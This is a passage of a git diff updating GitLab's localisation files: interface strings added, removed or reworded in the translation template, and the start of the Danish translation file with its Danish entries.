-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -45484,9 +46174,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -45505,15 +46192,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45670,6 +46351,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45730,6 +46414,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45904,9 +46594,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45973,10 +46660,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -46144,10 +46831,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -46339,6 +47023,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -46351,9 +47038,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -46423,6 +47107,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46525,6 +47212,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46561,6 +47251,9 @@ msgstr[5] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46573,6 +47266,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -46597,9 +47293,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -47332,10 +48025,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47791,9 +48484,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47884,6 +48589,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47893,7 +48601,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47926,7 +48634,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47980,6 +48688,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -48001,6 +48715,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -48109,6 +48829,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -48241,9 +48964,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -48334,6 +49054,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -48373,9 +49096,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -48391,7 +49111,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -48484,7 +49204,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -48517,6 +49237,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48634,6 +49357,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48787,8 +49513,14 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
msgid "YouTube"
msgstr ""
@@ -49030,6 +49762,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -49057,7 +49792,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -49138,6 +49873,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -49351,6 +50089,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49603,10 +50344,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49771,9 +50515,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -50290,9 +51031,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50827,6 +51565,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50914,12 +51655,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -51364,6 +52099,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/da_DK/gitlab.po b/locale/da_DK/gitlab.po
index c55160c9fba..ca1af12cbe3 100644
--- a/locale/da_DK/gitlab.po
+++ b/locale/da_DK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: da\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:39\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr " %{start} til %{end}"
@@ -750,6 +750,9 @@ msgstr "%{italic_start}Nyheder%{italic_end} er inaktiv og kan ikke vises."
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} problemstillinger med en grænse på %{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Faktiske svar:%{labelEnd} %{headers}"
@@ -822,6 +825,9 @@ msgstr "%{level_name} er ikke tilladt i en %{group_level_name}-gruppe."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} er ikke tilladt eftersom forgreningskildeprojektet har lavere synlighed."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Fjern præfikset %{draft_snippet}%{link_end} fra titlen, når den er klar, for at give tilladelse til at sammenlægningsanmodningen kan sammenlægges."
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} kan ikke tilføjes: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} udgivelse"
@@ -970,6 +982,11 @@ msgstr "%{reportType} registrerede %{totalStart}%{total}%{totalEnd} potentielle
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}Prøv igen%{retryButtonEnd} eller %{newFileButtonStart}vedhæft en ny fil%{newFileButtonEnd}."
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1116,11 +1130,6 @@ msgstr "%{template_project_id} er ukendt eller ugyldigt"
msgid "%{text} is available"
msgstr "%{text} er tilgængelig"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type} understøtter ikke burnupdiagrammer"
@@ -1541,9 +1550,9 @@ msgstr[0] "1 rolle"
msgstr[1] "%d roller"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 bruger"
-msgstr[1] "%{num} brugere"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr "En rebase er allerede i gang."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Der blev logget ind på din konto fra følgende IP-adresse: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "En titel kræves"
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr "Fejl ved AWS-tjeneste: %{error}"
-
msgid "Abort"
msgstr "Afbryd"
@@ -1963,9 +1972,6 @@ msgstr "Adgangstokens"
msgid "Access denied for your LDAP account."
msgstr "Adgang nægtet for din LDAP-konto."
-msgid "Access denied: %{error}"
-msgstr "Adgang nægtet: %{error}"
-
msgid "Access expires"
msgstr "Adgang udløber"
@@ -2125,8 +2131,8 @@ msgstr "Handlinger"
msgid "Activate Service Desk"
msgstr "Aktivér serviceskranke"
-msgid "Activated on"
-msgstr "Aktiveret"
+msgid "Activated"
+msgstr ""
msgid "Active"
msgstr "Aktive"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr "Tilføj et afsnit som kan foldes sammen"
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Tilføj en kommentar til linjen"
@@ -2581,15 +2590,18 @@ msgstr "Aktive brugere"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr "Blokerede brugere"
msgid "AdminArea|Bots"
msgstr "Botter"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "Komponenter"
@@ -2671,9 +2683,18 @@ msgstr "Stop job"
msgid "AdminArea|Stopping jobs failed"
msgstr "Stop af job mislykkedes"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "Brugere i alt"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr "Vis seneste brugere"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr "Du er ved at stoppe alle job. Det standser alle nuværende job som kører."
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Fejl ved indlæsning af statistikken. Prøv venligst igen"
@@ -2755,6 +2782,9 @@ msgstr "Alle nye projekter kan bruge instansens delte runnere som standard."
msgid "AdminSettings|Auto DevOps domain"
msgstr "Auto DevOps-domæne"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr "Sessionsvarighed for Git-handlinger når 2FA er aktiveret (minutter)"
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,8 +3328,8 @@ msgstr "Vigtig information om forbrug på din GitLab-instans"
msgid "AdminUsers|Is using seat"
msgstr "Bruger sæde"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
-msgstr "Problemstillinger som er forfattet af brugeren skjules fra andre brugere."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
+msgstr ""
msgid "AdminUsers|It's you!"
msgstr "Det er dig!"
@@ -3337,6 +3373,9 @@ msgstr "Personlige projekter efterlades"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "Personlige projekter, grupper og brugerhistorik efterlades intakte"
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr "Der opstod en fejl under tilføjelse af formateret titel til epic"
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr "Der opstod en fejl under godkendelse af din rolle"
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "Der opstod en fejl under tjek af gruppesti. Opdater venligst og prøv igen."
@@ -4408,15 +4447,6 @@ msgstr "Der opstod en fejl under indlæsning af sammenlægningsanmodninger."
msgid "An error occurred while loading projects."
msgstr "Der opstod en fejl under indlæsning af projekter."
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr "Der opstod en fejl under indlæsning af fanebladet Behov."
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr "Der opstod en fejl under indlæsning af fanebladet Testrapporter."
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr "Der opstod en fejl under indlæsning af sammenlægningsanmodningen."
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "Der opstod en fejl under indlæsning af underretningsindstillingerne. Prøv venligst igen."
-msgid "An error occurred while loading the pipeline."
-msgstr "Der opstod en fejl under indlæsning af pipelinen."
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "Der opstod en fejl under indlæsning af pipelinejobbene."
@@ -4704,6 +4731,18 @@ msgstr "Tilføj %{shrug} til slutningen af kommentaren"
msgid "Append the comment with %{tableflip}"
msgstr "Tilføj %{tableflip} til slutningen af kommentaren"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Program"
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr "Send bekræftelses e-mail ved tilmelding"
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr "Tilmelding aktiveret"
@@ -4938,6 +4974,9 @@ msgstr "Anvender forslag ..."
msgid "Applying suggestions..."
msgstr "Anvender forslag ..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "Godkendelsesregler"
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr "Godkendelser er valgfrie."
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr "Afsnit: %section"
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr "Broadcastmeddelelse blev opdateret."
msgid "Broadcast Messages"
msgstr "Broadcastmeddelelser"
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Gennemse mappe"
@@ -7820,6 +7955,9 @@ msgstr "Kan ikke forfremme problemstilling fordi de ikke tilhører en gruppe."
msgid "Cannot promote issue due to insufficient permissions."
msgstr "Kan ikke forfremme problemstilling pga. utilstrækkelige tilladelser."
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,14 +8069,11 @@ msgstr "Ændr din adgangskode"
msgid "Change your password or recover your current one"
msgstr "Ændr din adgangskode eller gendan din nuværende"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr "Kontrollant ændret fra %{old} til %{new}"
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr "Kontrollant ændret til %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
+msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "Utildelt"
+msgid "ChangeReviewer|All reviewers were removed."
+msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr "Fortsæt til betaling"
msgid "Checkout|Country"
msgstr "Land"
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr "Opret en ny gruppe"
@@ -8379,12 +8517,6 @@ msgstr "Barn"
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr "Underepicen findes ikke."
-
-msgid "Child epic doesn't exist."
-msgstr "Underepicen findes ikke."
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr "Tilstand"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "Type"
@@ -8693,6 +8828,9 @@ msgstr "Klik på linket nedenunder for at bekræfte din e-mailadresse (%{email})
msgid "Click the link below to confirm your email address."
msgstr "Klik på linket nedenunder for at bekræfte din e-mailadresse."
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "Klik for at udfolde den."
@@ -8795,12 +8933,18 @@ msgstr "Lukkede problemstillinger"
msgid "Closed this %{quick_action_target}."
msgstr "Lukkede denne %{quick_action_target}."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr "Lukket: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Lukker denne %{quick_action_target}."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr "Miljøomfang kræves."
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
